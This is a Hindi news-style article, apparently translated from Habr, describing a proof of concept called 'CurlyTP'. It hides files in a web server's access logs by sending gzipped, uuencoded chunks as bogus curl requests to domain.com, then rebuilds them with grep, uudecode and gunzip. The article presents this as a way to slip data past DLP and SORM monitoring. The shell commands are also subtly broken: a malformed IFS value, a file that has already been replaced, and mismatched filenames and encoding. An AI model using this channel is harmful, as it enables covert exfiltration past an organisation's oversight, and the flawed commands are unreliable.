विकिपीडिया की परिभाषा के अनुसार, डेड ड्रॉप एक साजिश उपकरण है जो गुप्त स्थान का उपयोग करने वाले लोगों के बीच सूचना या कुछ वस्तुओं का आदान-प्रदान करने का कार्य करता है। विचार यह है कि लोग कभी नहीं मिलते - लेकिन परिचालन सुरक्षा बनाए रखने के लिए वे फिर भी सूचनाओं का आदान-प्रदान करते हैं।

छिपने की जगह पर ध्यान आकर्षित नहीं करना चाहिए। इसलिए, ऑफ़लाइन दुनिया में वे अक्सर विवेकपूर्ण चीज़ों का उपयोग करते हैं: दीवार में एक ढीली ईंट, एक पुस्तकालय की किताब, या एक पेड़ में खोखला।

इंटरनेट पर कई एन्क्रिप्शन और गुमनामीकरण उपकरण हैं, लेकिन इन उपकरणों का उपयोग करने का तथ्य ही ध्यान आकर्षित करता है। इसके अलावा, उन्हें कॉर्पोरेट या सरकारी स्तर पर ब्लॉक किया जा सकता है। क्या करें?

डेवलपर रयान फ्लावर्स ने एक दिलचस्प विकल्प प्रस्तावित किया - किसी भी वेब सर्वर को छिपने की जगह के रूप में उपयोग करें. यदि आप इसके बारे में सोचें, तो एक वेब सर्वर क्या करता है? अनुरोध प्राप्त करता है, फ़ाइलें जारी करता है और लॉग लिखता है। और यह सभी अनुरोधों को लॉग करता है, यहां तक कि ग़लत भी!

यह पता चला है कि कोई भी वेब सर्वर आपको लॉग में लगभग किसी भी संदेश को सहेजने की अनुमति देता है। फूलों को आश्चर्य हुआ कि इसका उपयोग कैसे किया जाए।

वह यह विकल्प प्रदान करता है:

एक टेक्स्ट फ़ाइल (गुप्त संदेश) लें और हैश (md5sum) की गणना करें।
हम इसे एनकोड करते हैं (gzip+uuencode)।
हम सर्वर से जानबूझकर गलत अनुरोध का उपयोग करके लॉग में लिखते हैं।

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

किसी फ़ाइल को पढ़ने के लिए, आपको इन कार्यों को उल्टे क्रम में करने की आवश्यकता है: फ़ाइल को डीकोड और अनज़िप करें, हैश की जाँच करें (हैश को खुले चैनलों पर सुरक्षित रूप से प्रसारित किया जा सकता है)।

रिक्त स्थान को प्रतिस्थापित कर दिया गया है =+=ताकि पते में कोई रिक्त स्थान न रहे. प्रोग्राम, जिसे लेखक कर्लीटीपी कहता है, ईमेल अटैचमेंट की तरह बेस64 एन्कोडिंग का उपयोग करता है। अनुरोध एक कीवर्ड के साथ किया जाता है ?transfer?ताकि प्राप्तकर्ता इसे लॉग में आसानी से ढूंढ सके।

इस मामले में हम लॉग में क्या देखते हैं?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

जैसा कि पहले ही उल्लेख किया गया है, एक गुप्त संदेश प्राप्त करने के लिए आपको संचालन को उल्टे क्रम में करने की आवश्यकता है:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

प्रक्रिया को स्वचालित करना आसान है. Md5sum मेल खाता है, और फ़ाइल की सामग्री पुष्टि करती है कि सब कुछ सही ढंग से डिकोड किया गया था।

विधि बहुत सरल है. “इस अभ्यास का उद्देश्य केवल यह साबित करना है कि फ़ाइलों को मासूम छोटे वेब अनुरोधों के माध्यम से स्थानांतरित किया जा सकता है, और यह सादे पाठ लॉग वाले किसी भी वेब सर्वर पर काम करता है। मूलतः, प्रत्येक वेब सर्वर एक छिपने की जगह है!" फ्लावर्स लिखते हैं।

बेशक, विधि केवल तभी काम करती है जब प्राप्तकर्ता के पास सर्वर लॉग तक पहुंच हो। लेकिन ऐसी पहुंच, उदाहरण के लिए, कई होस्टर्स द्वारा प्रदान की जाती है।

इसका उपयोग कैसे करना है?

रयान फ्लावर्स का कहना है कि वह सूचना सुरक्षा विशेषज्ञ नहीं हैं और कर्लीटीपी के संभावित उपयोगों की सूची संकलित नहीं करेंगे। उनके लिए, यह सिर्फ इस अवधारणा का प्रमाण है कि जिन परिचित उपकरणों को हम हर दिन देखते हैं उनका उपयोग अपरंपरागत तरीके से किया जा सकता है।

वास्तव में, इस पद्धति के अन्य सर्वर "छिपाने" की तुलना में कई फायदे हैं डिजिटल डेड ड्रॉप या समुद्री डाकू बॉक्स: इसे सर्वर साइड पर विशेष कॉन्फ़िगरेशन या किसी विशेष प्रोटोकॉल की आवश्यकता नहीं है - और यह ट्रैफ़िक की निगरानी करने वालों के बीच संदेह पैदा नहीं करेगा। यह संभावना नहीं है कि कोई SORM या DLP सिस्टम संपीड़ित पाठ फ़ाइलों के लिए URL स्कैन करेगा।

यह सेवा फ़ाइलों के माध्यम से संदेश प्रसारित करने के तरीकों में से एक है। आप याद कर सकते हैं कि कुछ उन्नत कंपनियाँ कैसे प्लेसमेंट करती थीं HTTP हेडर में डेवलपर नौकरियां या HTML पृष्ठों के कोड में.

विचार यह था कि केवल वेब डेवलपर ही इस ईस्टर एग को देखेंगे, क्योंकि एक सामान्य व्यक्ति हेडर या HTML कोड को नहीं देखेगा।

स्रोत: www.habr.com

सर्वर लॉग के माध्यम से गुप्त संदेशों का आदान-प्रदान

इसका उपयोग कैसे करना है?

एक टिप्पणी जोड़ें उत्तर रद्द